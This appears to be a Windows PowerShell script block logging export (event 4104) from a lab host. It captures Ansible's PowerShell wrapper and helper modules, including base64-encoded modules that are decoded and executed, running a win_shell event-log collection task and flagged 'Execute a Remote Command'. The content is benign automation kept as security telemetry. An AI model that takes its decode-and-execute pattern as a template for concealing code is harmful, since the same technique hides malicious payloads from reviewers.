$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 7dbb03be-22f5-426c-9359-f1b22548a765
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2319 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4132 | 4128 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:17 AM | 61e00a24-ee3b-0002-e502-f2613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: 99577cb4-4458-468c-a277-6d2ed702fc30
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2318 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4132 | 4128 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:17 AM | 61e00a24-ee3b-0002-d602-f2613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (5 of 5):
= $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: a353fea9-f627-45ff-8aa5-5c79f568b6fb
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2317 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4132 | 4128 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:16 AM | 61e00a24-ee3b-0002-d002-f2613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 5):
vdmlkZXIgfQogICAgICAgICAgICAnc2hhMjU2JyB7ICRzcCA9IE5ldy1PYmplY3QgLVR5cGVOYW1lIFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuU0hBMjU2Q3J5cHRvU2VydmljZVByb3ZpZGVyIH0KICAgICAgICAgICAgJ3NoYTM4NCcgeyAkc3AgPSBOZXctT2JqZWN0IC1UeXBlTmFtZSBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlNIQTM4NENyeXB0b1NlcnZpY2VQcm92aWRlciB9CiAgICAgICAgICAgICdzaGE1MTInIHsgJHNwID0gTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5TSEE1MTJDcnlwdG9TZXJ2aWNlUHJvdmlkZXIgfQogICAgICAgICAgICBkZWZhdWx0IHsgRmFpbC1Kc29uIEB7fSAiVW5zdXBwb3J0ZWQgaGFzaCBhbGdvcml0aG0gc3VwcGxpZWQgJyRhbGdvcml0aG0nIiB9CiAgICAgICAgfQoKICAgICAgICBJZiAoJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtZ2UgNCkgewogICAgICAgICAgICAkcmF3X2hhc2ggPS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iCn0KCkV4aXQtSnNvbiAkcmVzdWx0Cg==", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "_ansible_module_name": "win_shell", "_raw_params": "C:\\collect-event-log.ps1", "_ansible_verbosity": 3, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version
ScriptBlock ID: a353fea9-f627-45ff-8aa5-5c79f568b6fb
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2316 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4132 | 4128 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:16 AM | 61e00a24-ee3b-0002-d002-f2613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Re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JG5hbWUKICAgICAgICBmb3JlYWNoICgkYWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0gIkdldC1BbnNpYmxlUGFyYW06IEFyZ3VtZW50ICRuYW1lIG5lZWRzIHRvIGJlIG9uZSBvZiAkKCRWYWxpZGF0ZVNldCAtam9pbiAiLCIpIGJ1dCB3YXMgJCgkb2JqLiRuYW1lKS4iCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICRWYWxpZGF0ZVNldEVycm9yTWVzc2FnZQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHZhbHVlID0gJG9iai4kbmFtZQogICAgICAgIH0KICAgIH0gY2F0Y2gg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pcm9ubWVudCgkdmFsdWUpCiAgICAgICAgICAgICMgVGVzdCBpZiBhIHZhbGlkIHBhdGggaXMgcHJvdmlkZWQKICAgICAgICAgICAgaWYgKC1ub3QgKFRlc3QtUGF0aCAtSXNWYWxpZCAkdmFsdWUpKSB7CiAgICAgICAgICAgICAgICAkcGF0aF9pbnZhbGlkID0gJHRydWUKICAgICAgICAgICAgICAgICMgY291bGQgc3RpbGwgYmUgYSB2YWxpZC1zaGFwZWQgcGF0aCB3aXRoIGEgbm9uZXhpc3RlbnQgZHJpdmUgbGV0dGVyCiAgICAgICAgICAgICAgICBpZiAoJHZhbHVlIC1tYXRjaCAiXlx3OiIpIHsKICAgICAgICAgICAgICAgICAgICAjIHJld3JpdGUgcGF0aCB3aXRoIGEgdmFsaWQgZHJpdmUgbGV0dGVyIGFuZCByZWNoZWNrIHRoZSBzaGFwZS0gdGhpcyBtaWdodCBzdGlsbCBmYWlsLCBlZywgYSBub25leGlzdGVudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMgQ29udmVydCBzdHJpbmcgdHlwZSB0byByZWFsIFBvd2Vyc2hlbGwgYXJyYXkKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICR2YWx1ZS5TcGxpdCgiLCIpLlRyaW0oKQogICAgICAgICAgICB9IGVsc2VpZiAoJHZhbHVlIC1pcyBbaW50XSkg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RjaGVja19tb2RlIC1hbmQgLW5vdCAkc3VwcG9ydHNfY2hlY2tfbW9kZSkKICAgIHsKICAgICAgICBFeGl0LUpzb24gQHsKICAgICAgICAgICAgc2tpcHBlZCA9ICR0cnVlCiAgICAgICAgICAgIGNoYW5nZWQgPSAkZmFsc2UKICAgICAgICAgICAgbXNnID0gInJlbW90ZSBtb2R1bGUgZG9lcyBub3Qgc3VwcG9ydCBjaGVjayBtb2RlIgogICAgICAgIH0KICAgIH0KICAgIHJldHVybiAkcGFyYW1zCn0KCgpGdW5jdGlvbiBHZXQtRmlsZUNoZWNrc3VtKCRwYXRoLCAkYWxnb3JpdGhtID0gJ3NoYTEnKQp7CjwjCiAgICAuU1lOT1BTSVMKICAgIEhlbHBlciBmdW5jdGlvbiB0byBjYWxjdWxhdGUgYSBoYXNoIG9mIGEgZmlsZSBpbiBhIHdheSB3aGljaCBQb3dlclNoZWxsIDMKICAgIGFuZCBhYm92ZSBjYW4gaGFuZGxlCiM+CiAgICBJZiAoVGVzdC1QYXRoIC1QYXRoICRwYXRoIC1QYXRoVHlwZSBMZWFmKQogICAgewogICAgICAgIHN3aXRjaCAoJGFsZ29yaXRobSkKICAgICAgICB7CiAgICAgICAgICAgICdtZDUnIHsgJHNwID0gTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5NRDVDcnlwdG9TZXJ2aWNlUHJvdmlkZXIgfQogICAgICAgICAgICAnc2hhMScgeyAkc3AgPSBOZXctT2JqZWN0IC1UeXBlTmFtZSBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlNIQTFDcnlwdG9TZXJ2aWNlUHJ
ScriptBlock ID: a353fea9-f627-45ff-8aa5-5c79f568b6fb
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2315 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4132 | 4128 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:16 AM | 61e00a24-ee3b-0002-d002-f2613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 5):
EVYVEVOREVEX1NUQVJUVVBJTkZPX1BSRVNFTlQ7CiAgICAgICAgICAgIFNUQVJUVVBJTkZPRVggc2kgPSBuZXcgU1RBUlRVUElORk9FWCgpOwogICAgICAgICAgICBzaS5zdGFydHVwSW5mby5kd0ZsYWdzID0gKGludClTdGFydHVwSW5mb0ZsYWdzLlVTRVNUREhBTkRMRVM7CgogICAgICAgICAgICBTRUNVUklUWV9BVFRSSUJVVEVTIHBpcGVzZWMgPSBuZXcgU0VDVVJJVFlfQVRUUklCVVRFUygpOwogICAgICAgICAgICBwaXBlc2VjLmJJbmhlcml0SGFuZGxlID0gdHJ1ZTsKCiAgICAgICAgICAgIC8vIENyZWF0ZSB0aGUgc3Rkb3V0LCBzdGRlcnIgYW5kIHN0ZGluIHBpcGVzIHVzZWQgaW4gdGhlIHByb2Nlc3MgYW5kIGFkZCB0byB0aGUgc3RhcnR1cEluZm8KICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgc3Rkb3V0X3JlYWQsIHN0ZG91dF93cml0ZSwgc3RkZXJyX3JlYWQsIHN0ZGVycl93cml0ZSwgc3RkaW5fcmVhZCwgc3RkaW5fd3JpdGU7CiAgICAgICAgICAgIGlmICghQ3JlYXRlUGlwZShvdXQgc3Rkb3V0X3JlYWQsIG91dCBzdGRvdXRfd3JpdGUsIHBpcGVzZWMsIDApKQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IFdpbjMyRXhjZXB0aW9uKCJTVERPVVQgcGlwZSBzZXR1cCBmYWlsZWQ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W52aXJvbm1lbnRTdHJpbmcuQXBwZW5kRm9ybWF0KCJ7MH09ezF9XDAiLCBrdi5LZXksIGt2LlZhbHVlKTsKICAgICAgICAgICAgICAgIGVudmlyb25tZW50U3RyaW5nLkFwcGVuZCgnXDAnKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gQ3JlYXRlIHRoZSBlbnZpcm9ubWVudCBibG9jayBpZiBzZXQKICAgICAgICAgICAgSW50UHRyIGxwRW52aXJvbm1lbnQgPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50U3RyaW5nICE9IG51bGwpCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50ID0gTWFyc2hhbC5TdHJpbmdUb0hHbG9iYWxVbmkoZW52aXJvbm1lbnRTdHJpbmcuVG9TdHJpbmcoKSk7CgogICAgICAgICAgICAvLyBDcmVhdGUgbmV3IHByb2Nlc3MgYW5kIHJ1bgogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIGFyZ3VtZW50X3N0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKGxwQ29tbWFuZExpbmUpOwogICAgICAgICAgICBQUk9DRVNTX0lORk9STUFUSU9OIHBpID0gbmV3IFBST0NFU1NfSU5GT1JNQVRJT04oKTsKICAgICAgICAgICAgaWYgKCFDcmVhdGVQcm9jZXNzKAogICAgICAgICAgICAgICAgbHBBcHBsaWNhdGlvbk5hbWUsCiAgICAgICAgICAgICAgICBhcmd1bWVudF9zdHJpbmcsCiAgICAgICAgICAgICAgICBJbnRQdHIuWmVybywKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLAogICAgICAgICAgICAgICAgdHJ1ZSwKICAgICAgICAgICAgICAgIHN0YXJ0dXBfZmxhZ3MsCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50LAogICAgICAgICAgICAgICAgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICAgICAgc2ksCiAgICAgICAgICAgICAgICBvdXQgcGkpKQogIC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dENvZGUocGkuaFByb2Nlc3MpOwoKICAgICAgICAgICAgcmV0dXJuIG5ldyBDb21tYW5kUmVzdWx0CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIFN0YW5kYXJkT3V0ID0gc3Rkb3V0X3N0ciwKICAgICAgICAgICAgICAgIFN0YW5kYXJkRXJyb3IgPSBzdGRlcnJfc3RyLAogICAgICAgICAgICAgICAgRXhpdENvZGUgPSByYwogICAgICAgICAgICB9OwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgdm9pZCBHZXRQcm9jZXNzT3V0cHV0KFN0cmVhbVJlYWRlciBzdGRvdXRTdHJlYW0sIFN0cmVhbVJlYWRlciBzdGRlcnJTdHJlYW0sIG91dCBzdHJpbmcgc3Rkb3V0LCBvdXQgc3RyaW5nIHN0ZGVycikKICAgICAgICB7CiAgICAgICAgICAgIHZhciBzb3dhaXQgPSBuZXcgRXZlbnRXYWl0SGFuZGxlKGZhbHNlLCBFdmVudFJlc2V0TW9kZS5NYW51YWxSZXNldCk7CiAgICAgICAgICAgIHZhciBzZXdhaXQgPSBuZXcgRXZlbnRXYWl0SGFuZGxlKGZhbHNlLCBFdmVudFJlc2V0TW9kZS5NYW51YWxSZXNldCk7CiAgICAgICAgICAgIHN0cmluZyBzbyA9IG51bGwsIHNlID0gbnVsbDsKICAgICAgICAgICAgVGhyZWFkUG9vbC5RdWV1ZVVzZXJXb3JrSXRlbSgocykgPT4KICAgICAgICAgICAgewogICAgICAgICAgICAgICAgc28gPSBzdGRvdXRTdHJlYW0uUmVhZFRvRW5kKCk7CiAgICAgICAgICAgICAgICBzb3dhaXQuU2V0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICBUaHJlYWRQb29sLlF1ZXVlVXNlcldvcmtJdGVtKChzKSA9PgogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzZSA9IHN0ZGVyclN0cmVhbS5SZWFkVG9FbmQoKTsKICAgICAgICAgICAgICAgIHNld2FpdC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RkLU1lbWJlciAtRm9yY2UgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5I
ScriptBlock ID: a353fea9-f627-45ff-8aa5-5c79f568b6fb
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2314 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4132 | 4128 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:16 AM | 61e00a24-ee3b-0002-d002-f2613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 5):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAg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RFbmNvZGluZyA9IE5ldy1PYmplY3QgVGV4dC5VVEY4RW5jb2RpbmcgYCRmYWxzZSIpIHwgT3V0LU51bGwKICAgIH0KCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkU2NyaXB0KCRlbnRyeXBvaW50KSB8IE91dC1OdWxsCgogICAgJG91dHB1dCA9ICRwcy5JbnZva2UoKQoKICAgICRvdXRwdXQKCiAgICAjIFBTMyBkb2Vzbid0IHByb3Blcmx5IHNldCBIYWRFcnJvcnMgaW4gbWFueSBjYXNlcywgaW5zcGVjdCB0aGUgZXJyb3Igc3RyZWFtIGFzIGEgZmFsbGJhY2sKICAgIElmICgkcHMuSGFkRXJyb3JzIC1vciAoJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtbHQgNCAtYW5kICRwcy5TdHJlYW1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.CommandUtil": 